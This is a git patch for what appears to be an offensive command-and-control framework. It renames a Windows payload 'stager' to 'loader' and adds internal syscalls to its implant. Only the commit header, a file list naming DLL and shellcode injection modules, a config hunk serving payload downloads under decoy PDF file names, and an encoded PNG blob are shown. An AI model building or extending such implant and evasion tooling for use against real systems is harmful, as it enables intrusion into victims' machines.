From fe7512001ee833cacb49303f84f6188601422234 Mon Sep 17 00:00:00 2001 From: hdks Date: Sun, 21 Apr 2024 03:41:02 +0900 Subject: [PATCH] implemented Internal Syscalls for implant --- config.json | 2 +- .../payload_gen_loader_dll_win_amd64_exe.png | Bin 0 -> 54274 bytes ...ad_gen_stager_dll_loader_win_amd64_exe.png | Bin 54094 -> 0 bytes docs/tutorials/simple-dll-injection.md | 29 +- docs/tutorials/simple-implant-beacon.md | 4 +- payload/win/implant/include/core/procs.hpp | 106 +++--- payload/win/implant/include/core/syscalls.hpp | 110 ++---- payload/win/implant/src/asm/syscalls.x64.asm | 80 ++--- payload/win/implant/src/core/procs.cpp | 31 +- payload/win/implant/src/core/syscalls.cpp | 23 +- payload/win/implant/src/core/system/fs.cpp | 26 +- .../win/implant/src/core/system/process.cpp | 18 +- payload/win/implant/src/core/task/dll.cpp | 2 +- .../technique/injection/dll_injection.cpp | 9 +- .../injection/shellcode_injection.cpp | 13 +- payload/win/implant/src/hermit.cpp | 10 +- payload/win/{stager => loader}/CMakeLists.txt | 7 +- .../{stager => loader}/include/core/crypt.hpp | 0 .../include/core/handler.hpp | 0 .../include/core/macros.hpp | 0 payload/win/loader/include/core/procs.hpp | 134 +++++++ .../{stager => loader}/include/core/state.hpp | 0 .../include/core/stdout.hpp | 0 payload/win/loader/include/core/system.hpp | 150 ++++++++ payload/win/loader/include/core/technique.hpp | 22 ++ .../{stager => loader}/include/core/utils.hpp | 0 .../win/{stager => loader}/include/hermit.hpp | 0 .../win/{stager => loader}/src/core/crypt.cpp | 0 .../{stager => loader}/src/core/handler.cpp | 0 payload/win/loader/src/core/procs.cpp | 49 +++ .../win/{stager => loader}/src/core/state.cpp | 0 .../{stager => loader}/src/core/stdout.cpp | 0 .../src/core/system/arch.cpp | 0 .../src/core/system/env.cpp | 0 payload/win/loader/src/core/system/fs.cpp | 148 ++++++++ .../src/core/system/http.cpp | 31 +- .../win/loader/src/core/system/process.cpp | 336 ++++++++++++++++++ .../technique/injection/dll_injection.cpp | 66 ++-- .../injection/shellcode_injection.cpp | 58 +-- .../src/core/utils/convert.cpp | 0 payload/win/{stager => loader}/src/hermit.cpp | 16 +- .../src/main/dll_loader_dll.cpp | 0 .../src/main/dll_loader_exe.cpp | 0 .../src/main/exec_loader_dll.cpp | 0 .../src/main/exec_loader_exe.cpp | 0 .../src/main/shellcode_loader_dll.cpp | 0 .../src/main/shellcode_loader_exe.cpp | 0 payload/win/stager/include/core/procs.hpp | 44 --- payload/win/stager/include/core/system.hpp | 93 ----- payload/win/stager/include/core/technique.hpp | 20 -- payload/win/stager/src/core/procs.cpp | 24 -- .../win/stager/src/core/system/process.cpp | 146 -------- pkg/client/rpc/request.go | 4 +- pkg/common/handler/payload.go | 16 +- pkg/common/parser/amloot.go | 2 +- pkg/common/parser/amtask.go | 19 +- pkg/common/parser/parser.go | 8 +- pkg/common/wizard/payload.go | 25 +- pkg/protobuf/rpcpb/rpc.pb.go | 54 +-- pkg/protobuf/rpcpb/rpc.proto | 4 +- pkg/protobuf/rpcpb/rpc_grpc.pb.go | 26 +- pkg/server/payload/{stager.go => loader.go} | 18 +- pkg/server/rpc/grpc.go | 6 +- pkg/server/service/https.go | 36 +- 64 files changed, 1271 insertions(+), 754 deletions(-) create mode 100644 docs/assets/images/terminal/payload_gen_loader_dll_win_amd64_exe.png delete mode 100644 docs/assets/images/terminal/payload_gen_stager_dll_loader_win_amd64_exe.png rename payload/win/{stager => loader}/CMakeLists.txt (94%) rename payload/win/{stager => loader}/include/core/crypt.hpp (100%) rename payload/win/{stager => loader}/include/core/handler.hpp (100%) rename payload/win/{stager => loader}/include/core/macros.hpp (100%) create mode 100644 payload/win/loader/include/core/procs.hpp rename payload/win/{stager => loader}/include/core/state.hpp (100%) rename payload/win/{stager => loader}/include/core/stdout.hpp (100%) create mode 100644 payload/win/loader/include/core/system.hpp create mode 100644 payload/win/loader/include/core/technique.hpp rename payload/win/{stager => loader}/include/core/utils.hpp (100%) rename payload/win/{stager => loader}/include/hermit.hpp (100%) rename payload/win/{stager => loader}/src/core/crypt.cpp (100%) rename payload/win/{stager => loader}/src/core/handler.cpp (100%) create mode 100644 payload/win/loader/src/core/procs.cpp rename payload/win/{stager => loader}/src/core/state.cpp (100%) rename payload/win/{stager => loader}/src/core/stdout.cpp (100%) rename payload/win/{stager => loader}/src/core/system/arch.cpp (100%) rename payload/win/{stager => loader}/src/core/system/env.cpp (100%) create mode 100644 payload/win/loader/src/core/system/fs.cpp rename payload/win/{stager => loader}/src/core/system/http.cpp (91%) create mode 100644 payload/win/loader/src/core/system/process.cpp rename payload/win/{stager => loader}/src/core/technique/injection/dll_injection.cpp (82%) rename payload/win/{stager => loader}/src/core/technique/injection/shellcode_injection.cpp (61%) rename payload/win/{stager => loader}/src/core/utils/convert.cpp (100%) rename payload/win/{stager => loader}/src/hermit.cpp (90%) rename payload/win/{stager => loader}/src/main/dll_loader_dll.cpp (100%) rename payload/win/{stager => loader}/src/main/dll_loader_exe.cpp (100%) rename payload/win/{stager => loader}/src/main/exec_loader_dll.cpp (100%) rename payload/win/{stager => loader}/src/main/exec_loader_exe.cpp (100%) rename payload/win/{stager => loader}/src/main/shellcode_loader_dll.cpp (100%) rename payload/win/{stager => loader}/src/main/shellcode_loader_exe.cpp (100%) delete mode 100644 payload/win/stager/include/core/procs.hpp delete mode 100644 payload/win/stager/include/core/system.hpp delete mode 100644 payload/win/stager/include/core/technique.hpp delete mode 100644 payload/win/stager/src/core/procs.cpp delete mode 100644 payload/win/stager/src/core/system/process.cpp rename pkg/server/payload/{stager.go => loader.go} (91%) diff --git a/config.json b/config.json index 797781e..9c0cd79 100644 --- a/config.json +++ b/config.json @@ -32,7 +32,7 @@ "/chat", "/ws" ], - "/stager/download": [ + "/loader/download": [ "/20200524.pdf", "/Meeting_2022-01-23.pdf", "/Report_2024-02-16.pdf", diff --git a/docs/assets/images/terminal/payload_gen_loader_dll_win_amd64_exe.png b/docs/assets/images/terminal/payload_gen_loader_dll_win_amd64_exe.png new file mode 100644 index 0000000000000000000000000000000000000000..d4125791ed51be85f2ca6218a325bd0696f9221c GIT binary patch literal 54274 zcmeFZdstFw-!^QGlR0JHZ6-5IXR@@?v@|uh)KprjnVOloK{F*cXo;H?mCBiFCO2d5 zMWr(LiYAJ=L2}xdB4VPVqG+j*B9bB?An>l`%-r|=J^uPeUw7VR|5pVC67~F15^)Cr-*#?myq$usc2T z*?}{swSTZ$cYdR-#m$d*G>%l8Hk`||+wpV5ftwRoDu(Z8w=KJ!n?O#KyHCUltg3M# z7=+*&Yu=T0Il;!i=jD(Oa-orx&!&t>Vwkd;@i+ow2oBz)$8*Vp@k z6?rsbcY(-xF`HDvM2AjPlTKaB)LlFme)HC@6

^Pk9PbHw&v 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 